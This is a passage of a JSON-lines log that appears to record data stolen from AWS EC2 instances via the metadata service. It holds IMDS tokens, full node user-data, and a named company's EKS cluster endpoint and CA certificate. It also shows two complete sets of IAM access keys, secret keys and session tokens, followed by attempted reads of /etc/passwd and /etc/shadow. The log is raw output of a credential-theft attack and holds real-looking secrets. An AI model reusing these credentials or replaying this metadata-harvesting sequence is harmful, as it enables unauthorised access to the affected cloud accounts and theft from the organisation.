{"ts": "2026-05-05T04:01:00.418979+00:00", "src_ip": "54.66.197.86", "label": "imds_token", "data": {"token": "AQAEABWsA1G3NViEewDsvl-oztVl9pvSUhuY76MVCmYvnwvbp9XzRw=="}} {"ts": "2026-05-05T04:01:04.424306+00:00", "src_ip": "54.66.197.86", "label": "endpoint", "data": {"path": "/latest/user-data", "url": "http://169.254.169.254/latest/user-data", "status": 200, "statusText": "OK", "headers": {"accept-ranges": "none", "connection": "close", "content-length": "5153", "content-type": "application/octet-stream", "date": "Tue, 05 May 2026 04:01:04 GMT", "last-modified": "Tue, 05 May 2026 03:54:21 GMT", "server": "EC2ws", "x-aws-ec2-metadata-token-ttl-seconds": "21596"}, "body": "MIME-Version: 1.0\nContent-Type: multipart/mixed; boundary=\"//\"\n\n--//\nContent-Type: text/x-shellscript; charset=\"us-ascii\"\n\n#!/bin/bash\nset -euxo pipefail\n\nMOUNT_POINT=\"/var/lib/containerd\"\n\necho \"==> Detecting root disk\"\nROOT_SOURCE=$(findmnt -n -o SOURCE /)\nROOT_DISK=\"/dev/$(lsblk -no PKNAME \"$ROOT_SOURCE\")\"\necho \"Root disk: $ROOT_DISK\"\n\necho \"==> Finding empty non-root disk\"\nDATA_DEV=\"\"\n\nwhile read -r NAME TYPE MOUNT; do\n DEV=\"/dev/$NAME\"\n\n [ \"$TYPE\" != \"disk\" ] && continue\n [ \"$DEV\" = \"$ROOT_DISK\" ] && continue\n [ -n \"$MOUNT\" ] && continue\n\n if blkid \"$DEV\" >/dev/null 2>&1; then\n continue\n fi\n\n DATA_DEV=\"$DEV\"\n break\ndone < <(lsblk -ndo NAME,TYPE,MOUNTPOINT)\n\nif [ -z \"$DATA_DEV\" ]; then\n echo \"ERROR: No suitable empty data disk found\"\n exit 1\nfi\n\necho \"Using data disk: $DATA_DEV\"\n\necho \"==> Stopping containerd\"\nsystemctl stop containerd || true\n\necho \"==> Formatting disk\"\nmkfs.xfs \"$DATA_DEV\"\n\necho \"==> Mounting disk\"\nmkdir -p \"$MOUNT_POINT\"\nmount \"$DATA_DEV\" \"$MOUNT_POINT\"\n\nUUID=$(blkid -s UUID -o value \"$DATA_DEV\")\ngrep -q \"$UUID\" /etc/fstab || \\\n echo \"UUID=$UUID $MOUNT_POINT xfs defaults,nofail 0 2\" >> /etc/fstab\n\necho \"==> Configuring NVIDIA runtime (if available)\"\n\nif command -v nvidia-ctk >/dev/null 2>&1; then\n echo \"nvidia-ctk detected, configuring containerd runtime\"\n\n # Idempotent: safe to run multiple times\n nvidia-ctk runtime configure --runtime=containerd\n\n # containerd must be restarted after config change\n systemctl restart containerd\nelse\n echo \"nvidia-ctk not present, skipping GPU runtime configuration\"\n systemctl start containerd\nfi\n\necho \"==> Importing EKS pause image\"\nctr --address /run/containerd/containerd.sock \\\n --namespace k8s.io \\\n image import \\\n --base-name localhost/kubernetes/pause:latest \\\n /etc/eks/pause.tar\n\necho \"==> Ensuring pause image is not garbage collected by containerd internal GC\"\nctr -n k8s.io images label \\\n localhost/kubernetes/pause:latest \\\n io.containerd.gc.ref.content=true\n\n# NEW: protect pause image from kubelet's image_gc_manager\n# containerd's pinned_images and gc.ref.content label only guard against\n# containerd-internal GC \u2014 kubelet calls CRI RemoveImage directly and bypasses them.\n# Setting sandboxImage here makes kubelet permanently exclude it from GC candidates.\necho \"==> Writing kubelet sandboxImage drop-in config\"\nmkdir -p /etc/kubernetes/kubelet/config.json.d\ncat > /etc/kubernetes/kubelet/config.json.d/90-sandbox-image.conf << 'EOF'\n{\n \"apiVersion\": \"kubelet.config.k8s.io/v1beta1\",\n \"kind\": \"KubeletConfiguration\",\n \"sandboxImage\": \"localhost/kubernetes/pause:latest\"\n}\nEOF\nchmod 644 /etc/kubernetes/kubelet/config.json.d/90-sandbox-image.conf\n\necho \"==> Userdata complete\"\n\n--//\nContent-Type: application/node.eks.aws\n\n# Karpenter Generated NodeConfig\napiVersion: node.eks.aws/v1alpha1\nkind: NodeConfig\nmetadata: {}\nspec:\n cluster:\n apiServerEndpoint: https://25373BC02D353F54FDF1B362CC575F72.gr7.ap-southeast-2.eks.amazonaws.com\n certificateAuthority: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUN5RENDQWJDZ0F3SUJBZ0lCQURBTkJna3Foa2lHOXcwQkFRc0ZBREFWTVJNd0VRWURWUVFERXdwcmRXSmwKY201bGRHVnpNQjRYRFRJeE1ESXhNakF5TXpZek5Wb1hEVE14TURJeE1EQXlNell6TlZvd0ZURVRNQkVHQTFVRQpBeE1LYTNWaVpYSnVaWFJsY3pDQ0FTSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnRVBBRENDQVFvQ2dnRUJBTXRGCk1pR2RlRmFoYXZQVm1EVkRuemh2Z1MrRFZVcmEvVkpHZGZPWmtaV3RjdUJ6WVFRd1VjZDR2bjhMSUNyV2xzSFIKaHVhNkxxS0VlNzd1TGZJU1BocjBVRDJ6VjhDNkNsSGhtYWZuNW5hMzdLZGVicWpRLzhIOVlKSG1VRnlrYmFtawp2RVhCeG5CWW55dGNhL1dJNGdZZzBqV2tSbjRtbE9ROGY3eHhHcG41STZhaVFIZVBvQThLT3BiVEpsVEJibHlsCjRaSjFIdkQyTVpBYk5sUGZIVytVY0luNWVodUFZd1FZcmNoNkRzdko2K0xDK3lZZmxJYTZCd3N3Y3RLL1hMNE4KeU1jNVBkZVM0bk16WHlEc3hCQ0Rkako5K21lQ0FNWHpvTzgyVVFQNDlzQitNTjhqZkJaOWFwRDBNZ0xKSG43RwpDS2xJUldPM0V0MFJnUjRJVVRFQ0F3RUFBYU1qTUNFd0RnWURWUjBQQVFIL0JBUURBZ0trTUE4R0ExVWRFd0VCCi93UUZNQU1CQWY4d0RRWUpLb1pJaHZjTkFRRUxCUUFEZ2dFQkFNVDFiTlpuYnhaVzQyTVFoY3JRSEI5Njd6UVIKZWF5UGkrRWJvSlZySHErUHIxRTZsU3RBL3YxUFZscUdoWDFQaENKdDEwWUFBbHNjSWs5OUtLNFB3elNRWnFIdAppTGV4bmtNbENEMVFUQXJTY3hsOVM1dEcxQjZUdjVHR2lCWmdpbWdjRjNuME5BU1JwdDdqelIrVHdsd2l0VE1tCjVTYjRwbUZVL3Z2b3B3ZTlubTlMSzJnVlJHM3RsVW0ybm5KVWZJTkJnZk42MjYrb2tPeUpwRkxjWitvajN5SisKdmplL0wyc2NmTUhCd1RvdEc5RklHYWdPbUx0RFYwWmcvQWxrcTZEOEFkQnhHQWh1M2UvK016allBNS9EU3hHSQpyVEI1SGhLbk9TcElGU041MklvNGRjUmVzbWFsVUNaL2J5REVZbEVya3YyeGJQRTRja2YyOTZPMnFJdz0KLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=\n cidr: 172.20.0.0/16\n name: staging-lendi-eks-cluster\n containerd: {}\n instance:\n localStorage: {}\n kubelet:\n config:\n clusterDNS:\n - 172.20.0.10\n maxPods: 118\n registerWithTaints:\n - effect: NoSchedule\n key: node.cilium.io/agent-not-ready\n value: \"true\"\n - effect: NoExecute\n key: karpenter.sh/unregistered\n flags:\n - --node-labels=\"DATA_CLASSIFICATION=restricted,ENV=staging,LENDI_TEAM=platform,Name=karpenter-staging-lendi-eks-cluster-diversified,PROJECT=karpenter,REPO=lendi-infrastructure,TIER=t1,capacity=spot,karpenter.k8s.aws/ec2nodeclass=spot-nodes-default,karpenter.sh/capacity-type=spot,karpenter.sh/do-not-sync-taints=true,karpenter.sh/nodepool=spot-nodes-diversified,spot=true\"\n\n--//--\n", "error": null}} {"ts": "2026-05-05T04:01:05.441823+00:00", "src_ip": "54.66.197.86", "label": "endpoint", "data": {"path": "/latest/meta-data/iam/security-credentials/", "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/", "status": 200, "statusText": "OK", "headers": {"accept-ranges": "none", "connection": "close", "content-length": "43", "content-type": "text/plain", "date": "Tue, 05 May 2026 04:01:05 GMT", "last-modified": "Tue, 05 May 2026 03:54:21 GMT", "server": "EC2ws", "x-aws-ec2-metadata-token-ttl-seconds": "21595"}, "body": "KarpenterNodeRole-staging-lendi-eks-cluster", "error": null}} {"ts": "2026-05-05T04:01:06.452163+00:00", "src_ip": "54.66.197.86", "label": "endpoint", "data": {"path": "/latest/meta-data/iam/security-credentials/KarpenterNodeRole-staging-lendi-eks-cluster", "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/KarpenterNodeRole-staging-lendi-eks-cluster", "status": 200, "statusText": "OK", "headers": {"accept-ranges": "none", "connection": "close", "content-length": "1610", "content-type": "text/plain", "date": "Tue, 05 May 2026 04:01:06 GMT", "last-modified": "Tue, 05 May 2026 03:54:21 GMT", "server": "EC2ws", "x-aws-ec2-metadata-token-ttl-seconds": "21594"}, "body": "{\n \"Code\" : \"Success\",\n \"LastUpdated\" : \"2026-05-05T03:53:56Z\",\n \"Type\" : \"AWS-HMAC\",\n \"AccessKeyId\" : \"ASIARRXBJHWFSC637HTF\",\n \"SecretAccessKey\" : \"7lM7d6vNSCuIqjQPn1JHJoS1krXg4sPHRtG90uBB\",\n \"Token\" : \"IQoJb3JpZ2luX2VjELT//////////wEaDmFwLXNvdXRoZWFzdC0yIkcwRQIhAIHOCB6hg91FlKMRfkI6o0zzZcRJk+VdyixisO28VKy4AiBjjbH569X1Kiynyzh79TUjgOPZBVDrPobWVJ2tq6vnOirMBQh9EAMaDDEwNjc3MjkwNTM1NSIM0E7FMl4OAJOybh+aKqkFpHxbb46UdXSdWipNzFBDV1oMhpJHVVaSA6QDWJLY3Zj5B/k+FNpr8iG4wRgyXNy8kpEO0CaNmlGccTT1xC5xC4fZYaOjUL7hOYExxlcNIYAx80eslvZzlycAA6QBAEFUJr9NucclExT+TKjwuNczh8gMm+fu6/BDWIPrHIQycIBpcN6Jm4bWLjmqMku96oajzlrYcEdpPK+3l77FsJjWkKMYbis/7TK4IZ3u7vT2PYyQ8JhuYAhdspd+7PUrl/K5y1nFEA0cKq+sVhpvOiRNZCRKh4CaRqacMvP8lblxwpXKls546FE0s4Yv0nMWXJXwplLblYIh/ltBSdJs7bmkWqbz7F3B2w52DQCTOycP7ywt3oHivmNtmyu2NZ1A6upBYwIhHN3dfndWxT3iYvo5uCWDsyJ1rwUznl/qIg0TcFXa/nqNXub9FR5CmwmF3cnRrH10o2Q9WR0cS/1uwYEDvpE7oBWI6o0cjxKpO5fn3tPQ9A2wNW0o7hkZ5r1hr4NJj+KyQD7ydvk0D9b//i2xJ87iQOCdyWcB8UQj9NLvolyWQQg5GjnEzRq3t4zSzWU5IAQbrSKzTsHHUOKZCkxjuswz55qX49Brdh0ZSZ5VtcYBINS0YznciOp9v0knGziqqocklp+ku1PMzV32C84JG3QNozvUCmLEY+F3XPek4B96Kwc120bKkt9CMJjsx+rAIV21AoH6bIfK06XZ91ax0Mq4myNGEMTMZsUMHpFmNkZkouYBRIaf1ay2D49P6DIHqDOnVu+jagJsQA+1iN2PyzSXseIIoTsbgQZlgPjpjaWwDOxuEKrs/TfZdnLEh8vMpV0hW4+AuGMA1d1qkFZgDYVxPA8RZT/adZUuhaSrb02mkfW56RNNKMmuXp/PludGYwgJYrRZUdRaMO3T5c8GOrEBsGzBqwP4yoXQ4sd+b/yFaRZ/QDi1x2EdisEmxsffIzUmLMgMtjvwQG69fMjlxQ0chamWslQGHVN5qwG38UffP2XH99bOga5xdrj+Q9VtQ7XFpYScy7oK/ltpikmzRZGfpD/kK8DNRZ/3jTKOwKwWnGIiJMBXwHyhXumUFfrbbMh3kQyv3PKo7ktV+1dQAWbLgL+3fmadMY6Kol2ocJnxALXWss5wzLcDJ02FeH6C836f\",\n \"Expiration\" : \"2026-05-05T09:55:31Z\"\n}", "error": null}} {"ts": "2026-05-05T04:01:06.455060+00:00", "src_ip": "54.66.197.86", "label": "iam_credentials", "data": {"role": "KarpenterNodeRole-staging-lendi-eks-cluster", "type": "AWS-HMAC", "accessKeyId": "ASIARRXBJHWFSC637HTF", "secretAccessKey": "7lM7d6vNSCuIqjQPn1JHJoS1krXg4sPHRtG90uBB", "sessionToken": "IQoJb3JpZ2luX2VjELT//////////wEaDmFwLXNvdXRoZWFzdC0yIkcwRQIhAIHOCB6hg91FlKMRfkI6o0zzZcRJk+VdyixisO28VKy4AiBjjbH569X1Kiynyzh79TUjgOPZBVDrPobWVJ2tq6vnOirMBQh9EAMaDDEwNjc3MjkwNTM1NSIM0E7FMl4OAJOybh+aKqkFpHxbb46UdXSdWipNzFBDV1oMhpJHVVaSA6QDWJLY3Zj5B/k+FNpr8iG4wRgyXNy8kpEO0CaNmlGccTT1xC5xC4fZYaOjUL7hOYExxlcNIYAx80eslvZzlycAA6QBAEFUJr9NucclExT+TKjwuNczh8gMm+fu6/BDWIPrHIQycIBpcN6Jm4bWLjmqMku96oajzlrYcEdpPK+3l77FsJjWkKMYbis/7TK4IZ3u7vT2PYyQ8JhuYAhdspd+7PUrl/K5y1nFEA0cKq+sVhpvOiRNZCRKh4CaRqacMvP8lblxwpXKls546FE0s4Yv0nMWXJXwplLblYIh/ltBSdJs7bmkWqbz7F3B2w52DQCTOycP7ywt3oHivmNtmyu2NZ1A6upBYwIhHN3dfndWxT3iYvo5uCWDsyJ1rwUznl/qIg0TcFXa/nqNXub9FR5CmwmF3cnRrH10o2Q9WR0cS/1uwYEDvpE7oBWI6o0cjxKpO5fn3tPQ9A2wNW0o7hkZ5r1hr4NJj+KyQD7ydvk0D9b//i2xJ87iQOCdyWcB8UQj9NLvolyWQQg5GjnEzRq3t4zSzWU5IAQbrSKzTsHHUOKZCkxjuswz55qX49Brdh0ZSZ5VtcYBINS0YznciOp9v0knGziqqocklp+ku1PMzV32C84JG3QNozvUCmLEY+F3XPek4B96Kwc120bKkt9CMJjsx+rAIV21AoH6bIfK06XZ91ax0Mq4myNGEMTMZsUMHpFmNkZkouYBRIaf1ay2D49P6DIHqDOnVu+jagJsQA+1iN2PyzSXseIIoTsbgQZlgPjpjaWwDOxuEKrs/TfZdnLEh8vMpV0hW4+AuGMA1d1qkFZgDYVxPA8RZT/adZUuhaSrb02mkfW56RNNKMmuXp/PludGYwgJYrRZUdRaMO3T5c8GOrEBsGzBqwP4yoXQ4sd+b/yFaRZ/QDi1x2EdisEmxsffIzUmLMgMtjvwQG69fMjlxQ0chamWslQGHVN5qwG38UffP2XH99bOga5xdrj+Q9VtQ7XFpYScy7oK/ltpikmzRZGfpD/kK8DNRZ/3jTKOwKwWnGIiJMBXwHyhXumUFfrbbMh3kQyv3PKo7ktV+1dQAWbLgL+3fmadMY6Kol2ocJnxALXWss5wzLcDJ02FeH6C836f", "expiration": "2026-05-05T09:55:31Z"}} {"ts": "2026-05-10T23:06:25.882234+00:00", "src_ip": "13.238.215.170", "label": "imds_token", "data": {"token": "AQAEACRVe3Z52HhydzvatgwP3R0_N2aPM-7aGI3oFABOG1N-Cgz4SQ=="}} {"ts": "2026-05-10T23:06:29.902230+00:00", "src_ip": "13.238.215.170", "label": "endpoint", "data": {"path": "/latest/user-data", "url": "http://169.254.169.254/latest/user-data", "status": 200, "statusText": "OK", "headers": {"accept-ranges": "none", "connection": "close", "content-length": "5153", "content-type": "application/octet-stream", "date": "Sun, 10 May 2026 23:06:29 GMT", "last-modified": "Sun, 10 May 2026 22:40:36 GMT", "server": "EC2ws", "x-aws-ec2-metadata-token-ttl-seconds": "21596"}, "body": "MIME-Version: 1.0\nContent-Type: multipart/mixed; boundary=\"//\"\n\n--//\nContent-Type: text/x-shellscript; charset=\"us-ascii\"\n\n#!/bin/bash\nset -euxo pipefail\n\nMOUNT_POINT=\"/var/lib/containerd\"\n\necho \"==> Detecting root disk\"\nROOT_SOURCE=$(findmnt -n -o SOURCE /)\nROOT_DISK=\"/dev/$(lsblk -no PKNAME \"$ROOT_SOURCE\")\"\necho \"Root disk: $ROOT_DISK\"\n\necho \"==> Finding empty non-root disk\"\nDATA_DEV=\"\"\n\nwhile read -r NAME TYPE MOUNT; do\n DEV=\"/dev/$NAME\"\n\n [ \"$TYPE\" != \"disk\" ] && continue\n [ \"$DEV\" = \"$ROOT_DISK\" ] && continue\n [ -n \"$MOUNT\" ] && continue\n\n if blkid \"$DEV\" >/dev/null 2>&1; then\n continue\n fi\n\n DATA_DEV=\"$DEV\"\n break\ndone < <(lsblk -ndo NAME,TYPE,MOUNTPOINT)\n\nif [ -z \"$DATA_DEV\" ]; then\n echo \"ERROR: No suitable empty data disk found\"\n exit 1\nfi\n\necho \"Using data disk: $DATA_DEV\"\n\necho \"==> Stopping containerd\"\nsystemctl stop containerd || true\n\necho \"==> Formatting disk\"\nmkfs.xfs \"$DATA_DEV\"\n\necho \"==> Mounting disk\"\nmkdir -p \"$MOUNT_POINT\"\nmount \"$DATA_DEV\" \"$MOUNT_POINT\"\n\nUUID=$(blkid -s UUID -o value \"$DATA_DEV\")\ngrep -q \"$UUID\" /etc/fstab || \\\n echo \"UUID=$UUID $MOUNT_POINT xfs defaults,nofail 0 2\" >> /etc/fstab\n\necho \"==> Configuring NVIDIA runtime (if available)\"\n\nif command -v nvidia-ctk >/dev/null 2>&1; then\n echo \"nvidia-ctk detected, configuring containerd runtime\"\n\n # Idempotent: safe to run multiple times\n nvidia-ctk runtime configure --runtime=containerd\n\n # containerd must be restarted after config change\n systemctl restart containerd\nelse\n echo \"nvidia-ctk not present, skipping GPU runtime configuration\"\n systemctl start containerd\nfi\n\necho \"==> Importing EKS pause image\"\nctr --address /run/containerd/containerd.sock \\\n --namespace k8s.io \\\n image import \\\n --base-name localhost/kubernetes/pause:latest \\\n /etc/eks/pause.tar\n\necho \"==> Ensuring pause image is not garbage collected by containerd internal GC\"\nctr -n k8s.io images label \\\n localhost/kubernetes/pause:latest \\\n io.containerd.gc.ref.content=true\n\n# NEW: protect pause image from kubelet's image_gc_manager\n# containerd's pinned_images and gc.ref.content label only guard against\n# containerd-internal GC \u2014 kubelet calls CRI RemoveImage directly and bypasses them.\n# Setting sandboxImage here makes kubelet permanently exclude it from GC candidates.\necho \"==> Writing kubelet sandboxImage drop-in config\"\nmkdir -p /etc/kubernetes/kubelet/config.json.d\ncat > /etc/kubernetes/kubelet/config.json.d/90-sandbox-image.conf << 'EOF'\n{\n \"apiVersion\": \"kubelet.config.k8s.io/v1beta1\",\n \"kind\": \"KubeletConfiguration\",\n \"sandboxImage\": \"localhost/kubernetes/pause:latest\"\n}\nEOF\nchmod 644 /etc/kubernetes/kubelet/config.json.d/90-sandbox-image.conf\n\necho \"==> Userdata complete\"\n\n--//\nContent-Type: application/node.eks.aws\n\n# Karpenter Generated NodeConfig\napiVersion: node.eks.aws/v1alpha1\nkind: NodeConfig\nmetadata: {}\nspec:\n cluster:\n apiServerEndpoint: https://25373BC02D353F54FDF1B362CC575F72.gr7.ap-southeast-2.eks.amazonaws.com\n certificateAuthority: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUN5RENDQWJDZ0F3SUJBZ0lCQURBTkJna3Foa2lHOXcwQkFRc0ZBREFWTVJNd0VRWURWUVFERXdwcmRXSmwKY201bGRHVnpNQjRYRFRJeE1ESXhNakF5TXpZek5Wb1hEVE14TURJeE1EQXlNell6TlZvd0ZURVRNQkVHQTFVRQpBeE1LYTNWaVpYSnVaWFJsY3pDQ0FTSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnRVBBRENDQVFvQ2dnRUJBTXRGCk1pR2RlRmFoYXZQVm1EVkRuemh2Z1MrRFZVcmEvVkpHZGZPWmtaV3RjdUJ6WVFRd1VjZDR2bjhMSUNyV2xzSFIKaHVhNkxxS0VlNzd1TGZJU1BocjBVRDJ6VjhDNkNsSGhtYWZuNW5hMzdLZGVicWpRLzhIOVlKSG1VRnlrYmFtawp2RVhCeG5CWW55dGNhL1dJNGdZZzBqV2tSbjRtbE9ROGY3eHhHcG41STZhaVFIZVBvQThLT3BiVEpsVEJibHlsCjRaSjFIdkQyTVpBYk5sUGZIVytVY0luNWVodUFZd1FZcmNoNkRzdko2K0xDK3lZZmxJYTZCd3N3Y3RLL1hMNE4KeU1jNVBkZVM0bk16WHlEc3hCQ0Rkako5K21lQ0FNWHpvTzgyVVFQNDlzQitNTjhqZkJaOWFwRDBNZ0xKSG43RwpDS2xJUldPM0V0MFJnUjRJVVRFQ0F3RUFBYU1qTUNFd0RnWURWUjBQQVFIL0JBUURBZ0trTUE4R0ExVWRFd0VCCi93UUZNQU1CQWY4d0RRWUpLb1pJaHZjTkFRRUxCUUFEZ2dFQkFNVDFiTlpuYnhaVzQyTVFoY3JRSEI5Njd6UVIKZWF5UGkrRWJvSlZySHErUHIxRTZsU3RBL3YxUFZscUdoWDFQaENKdDEwWUFBbHNjSWs5OUtLNFB3elNRWnFIdAppTGV4bmtNbENEMVFUQXJTY3hsOVM1dEcxQjZUdjVHR2lCWmdpbWdjRjNuME5BU1JwdDdqelIrVHdsd2l0VE1tCjVTYjRwbUZVL3Z2b3B3ZTlubTlMSzJnVlJHM3RsVW0ybm5KVWZJTkJnZk42MjYrb2tPeUpwRkxjWitvajN5SisKdmplL0wyc2NmTUhCd1RvdEc5RklHYWdPbUx0RFYwWmcvQWxrcTZEOEFkQnhHQWh1M2UvK016allBNS9EU3hHSQpyVEI1SGhLbk9TcElGU041MklvNGRjUmVzbWFsVUNaL2J5REVZbEVya3YyeGJQRTRja2YyOTZPMnFJdz0KLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=\n cidr: 172.20.0.0/16\n name: staging-lendi-eks-cluster\n containerd: {}\n instance:\n localStorage: {}\n kubelet:\n config:\n clusterDNS:\n - 172.20.0.10\n maxPods: 234\n registerWithTaints:\n - effect: NoSchedule\n key: node.cilium.io/agent-not-ready\n value: \"true\"\n - effect: NoExecute\n key: karpenter.sh/unregistered\n flags:\n - --node-labels=\"DATA_CLASSIFICATION=restricted,ENV=staging,LENDI_TEAM=platform,Name=karpenter-staging-lendi-eks-cluster-diversified,PROJECT=karpenter,REPO=lendi-infrastructure,TIER=t1,capacity=spot,karpenter.k8s.aws/ec2nodeclass=spot-nodes-default,karpenter.sh/capacity-type=spot,karpenter.sh/do-not-sync-taints=true,karpenter.sh/nodepool=spot-nodes-diversified,spot=true\"\n\n--//--\n", "error": null}} {"ts": "2026-05-10T23:06:30.918753+00:00", "src_ip": "13.238.215.170", "label": "endpoint", "data": {"path": "/latest/meta-data/iam/security-credentials/", "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/", "status": 200, "statusText": "OK", "headers": {"accept-ranges": "none", "connection": "close", "content-length": "43", "content-type": "text/plain", "date": "Sun, 10 May 2026 23:06:30 GMT", "last-modified": "Sun, 10 May 2026 22:40:36 GMT", "server": "EC2ws", "x-aws-ec2-metadata-token-ttl-seconds": "21595"}, "body": "KarpenterNodeRole-staging-lendi-eks-cluster", "error": null}} {"ts": "2026-05-10T23:06:31.937582+00:00", "src_ip": "13.238.215.170", "label": "endpoint", "data": {"path": "/latest/meta-data/iam/security-credentials/KarpenterNodeRole-staging-lendi-eks-cluster", "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/KarpenterNodeRole-staging-lendi-eks-cluster", "status": 200, "statusText": "OK", "headers": {"accept-ranges": "none", "connection": "close", "content-length": "1598", "content-type": "text/plain", "date": "Sun, 10 May 2026 23:06:31 GMT", "last-modified": "Sun, 10 May 2026 22:40:36 GMT", "server": "EC2ws", "x-aws-ec2-metadata-token-ttl-seconds": "21594"}, "body": "{\n \"Code\" : \"Success\",\n \"LastUpdated\" : \"2026-05-10T22:40:04Z\",\n \"Type\" : \"AWS-HMAC\",\n \"AccessKeyId\" : \"ASIARRXBJHWFTPBIMZSU\",\n \"SecretAccessKey\" : \"o/s0hZKmGmzqZQFxuVQjVloMdf6WC1iwWygVv5jb\",\n \"Token\" : \"IQoJb3JpZ2luX2VjED8aDmFwLXNvdXRoZWFzdC0yIkgwRgIhAPoMr5UgjfIUaFe8dcvUr9R4s2HTzt1sanw2PQDw6Gg4AiEA5fOnTdhvhdteVyE+QAV8xv140zK6H/dE2DO/LW1AEooqygUICBADGgwxMDY3NzI5MDUzNTUiDB2lbb9/7PGzfuA+fSqnBaFIlW5oLnAldp4AB5XoJtgvk8OE4G1eqxgPsjLisBkmm+mwD8OrFQGrc8OqdmQPKCvSMHhXYvZpQ0+jFPwe3mNEOok1DteSinNaIXjgWkw+zHwU3A41zvKzgVgevANfzHpjkUIXmB6hvLGw2cv/lXORRoqJbxBWMwdsP4Ro5m/IzPACYJwUEF5HdFWqyt8iVlQvax/x8l97SPpJ2o8JRuV7rJrV7miik49sWaUIK3JvgJUsej7R1eWUOkqKDfDHqzeHwqTLfJUMt6DfH/KFcC+zfOlIGWinKy/ELwPHQigmM5F5qb9hunQ+xfMPR6ZsQZZYNFc+Gr5GWD/y9w4s/6vWqNeGamsl1dkyicQTvdDJU0Xd0AGt8Wr2gIu0Q65ZFJXGqsFdfagNVziUo+aOZcdMMa5rWPIhaa+TIixGRml4wsVjYbV+CZ5NlajhSJwG2aKkN4zV/rIbky8qCqxzbi+R4Wdnn1xuOLtGA8NplBjaQJ/fJCHYS7lglF6jBG9hhQzu/woDTbr22BPfD/O0H7GvbIt7cHaWjANm7WEOcHThPFl/SUnD9blFQhRI2KBBhuni44E5lPE4jLCv1mJEdX03ocAMgh+Mv+skwgctXZas459D8XEVPehIe8fDHlXv8HpxmNci1IHsKd76Pu2nqJF+2nyxAG+q6n61XKujZfJPlXfWBYqqITR74fC4168c5dfHrBF6+t3LA/yDYkV/QVzVR1Ao436uyvO9KbTQGNR/hTclHNOQxQf7PMl0qaH8+TCtMj/pP7/M6wylGYnr+LDTi1mFVeFGn6Us2SNhBzASr4M58Cf9sZwKpAgbyEw0VhaadDtjlDqmmZ7qqvABBrfy/5R9xN3pluc81ChIdY8xf6IhrEnxKYvHXJIH2yUbXu3y3Q1yPksw5JKE0AY6sAEhy1eCw1QAFb/tIxgIIyQkjd9gtb7LPKeTVHjcAoHwvheBx18TmgBKthxPaPVcAXhPoA+Gv8by8q8V5UhkbImmII8lZrkDOpR0NlHKEMaMAB3z78eO0YHcy51fUtkL7OZdQ6sj+2jZT0JWg5cXLyMSDvfDIx0upzWSXv2Yv/fLOK6HpkSggMggd3Mz5plM/+kvSJ51N7V4b+gzmDrNP5PZ2o4ton0nOpNrYaPUNvpCaw==\",\n \"Expiration\" : \"2026-05-11T05:00:00Z\"\n}", "error": null}} {"ts": "2026-05-10T23:06:31.950396+00:00", "src_ip": "13.238.215.170", "label": "iam_credentials", "data": {"role": "KarpenterNodeRole-staging-lendi-eks-cluster", "type": "AWS-HMAC", "accessKeyId": "ASIARRXBJHWFTPBIMZSU", "secretAccessKey": "o/s0hZKmGmzqZQFxuVQjVloMdf6WC1iwWygVv5jb", "sessionToken": "IQoJb3JpZ2luX2VjED8aDmFwLXNvdXRoZWFzdC0yIkgwRgIhAPoMr5UgjfIUaFe8dcvUr9R4s2HTzt1sanw2PQDw6Gg4AiEA5fOnTdhvhdteVyE+QAV8xv140zK6H/dE2DO/LW1AEooqygUICBADGgwxMDY3NzI5MDUzNTUiDB2lbb9/7PGzfuA+fSqnBaFIlW5oLnAldp4AB5XoJtgvk8OE4G1eqxgPsjLisBkmm+mwD8OrFQGrc8OqdmQPKCvSMHhXYvZpQ0+jFPwe3mNEOok1DteSinNaIXjgWkw+zHwU3A41zvKzgVgevANfzHpjkUIXmB6hvLGw2cv/lXORRoqJbxBWMwdsP4Ro5m/IzPACYJwUEF5HdFWqyt8iVlQvax/x8l97SPpJ2o8JRuV7rJrV7miik49sWaUIK3JvgJUsej7R1eWUOkqKDfDHqzeHwqTLfJUMt6DfH/KFcC+zfOlIGWinKy/ELwPHQigmM5F5qb9hunQ+xfMPR6ZsQZZYNFc+Gr5GWD/y9w4s/6vWqNeGamsl1dkyicQTvdDJU0Xd0AGt8Wr2gIu0Q65ZFJXGqsFdfagNVziUo+aOZcdMMa5rWPIhaa+TIixGRml4wsVjYbV+CZ5NlajhSJwG2aKkN4zV/rIbky8qCqxzbi+R4Wdnn1xuOLtGA8NplBjaQJ/fJCHYS7lglF6jBG9hhQzu/woDTbr22BPfD/O0H7GvbIt7cHaWjANm7WEOcHThPFl/SUnD9blFQhRI2KBBhuni44E5lPE4jLCv1mJEdX03ocAMgh+Mv+skwgctXZas459D8XEVPehIe8fDHlXv8HpxmNci1IHsKd76Pu2nqJF+2nyxAG+q6n61XKujZfJPlXfWBYqqITR74fC4168c5dfHrBF6+t3LA/yDYkV/QVzVR1Ao436uyvO9KbTQGNR/hTclHNOQxQf7PMl0qaH8+TCtMj/pP7/M6wylGYnr+LDTi1mFVeFGn6Us2SNhBzASr4M58Cf9sZwKpAgbyEw0VhaadDtjlDqmmZ7qqvABBrfy/5R9xN3pluc81ChIdY8xf6IhrEnxKYvHXJIH2yUbXu3y3Q1yPksw5JKE0AY6sAEhy1eCw1QAFb/tIxgIIyQkjd9gtb7LPKeTVHjcAoHwvheBx18TmgBKthxPaPVcAXhPoA+Gv8by8q8V5UhkbImmII8lZrkDOpR0NlHKEMaMAB3z78eO0YHcy51fUtkL7OZdQ6sj+2jZT0JWg5cXLyMSDvfDIx0upzWSXv2Yv/fLOK6HpkSggMggd3Mz5plM/+kvSJ51N7V4b+gzmDrNP5PZ2o4ton0nOpNrYaPUNvpCaw==", "expiration": "2026-05-11T05:00:00Z"}} {"ts": "2026-06-15T00:07:43.169942+00:00", "src_ip": "125.253.47.61", "label": "file", "data": {"path": "file:///etc/passwd", "ok": false, "status": null, "error": "xhr_error", "elapsed": 29, "body": null}} {"ts": "2026-06-15T00:07:43.521922+00:00", "src_ip": "125.253.47.61", "label": "file", "data": {"path": "file:///etc/shadow", "ok": false, "status": null, 